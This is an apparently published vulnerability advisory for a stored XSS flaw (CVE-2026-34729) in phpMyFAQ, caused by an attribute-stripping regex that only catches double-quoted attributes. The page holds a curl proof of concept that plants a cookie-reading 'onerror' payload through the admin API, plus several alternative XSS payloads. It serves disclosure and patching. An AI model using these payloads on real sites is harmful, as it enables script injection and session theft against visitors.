Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-34729 is a low severity vulnerability with a CVSS score of 0.0. No known public exploits at this time.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
The sanitization pipeline for FAQ content is:
Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entitieshtml_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to charactersFilter::removeAttributes($input) — removes dangerous HTML attributesThe removeAttributes() regex at line 174 only matches attributes with double-quoted values:
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);
This regex does NOT match:
onerror='alert(1)'onerror=alert(1)An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.
Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174
Sanitization flow for FAQ question field:
FaqController::create() lines 110, 145-149:
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
(string) $question,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))
Template rendering: faq.twig line 36:
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
How the bypass works:
<img src=x onerror=alert(1)>FILTER_SANITIZE_SPECIAL_CHARS: <img src=x onerror=alert(1)>html_entity_decode(): <img src=x onerror=alert(1)>preg_match_all('/[a-z]+=".+"/iU', ...) runs:
="..." (double quotes)onerror=alert(1) has NO quotes → NOT matchedsrc=x has NO quotes → NOT matched<img src=x onerror=alert(1)> (XSS payload intact)|raw: JavaScript executes in browserWhy double-quoted attributes are (partially) protected:
For <img src="x" onerror="alert(1)">:
src="x" and onerror="alert(1)"src is in $keep → preservedonerror is NOT in $keep → removed via str_replace()<img src="x"> (safe)But this protection breaks with single quotes or no quotes.
Step 1: Create FAQ with XSS payload (requires authenticated admin):
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=admin_session' \
-d '{
"data": {
"pmf-csrf-token": "valid_csrf_token",
"question": "<img src=x onerror=alert(document.cookie)>",
"answer": "Test answer",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "test",
"author": "test",
"email": "[email protected]"
}
}'
Step 2: XSS triggers on public FAQ page
Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:
https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html
The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).
Alternative payloads:
<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.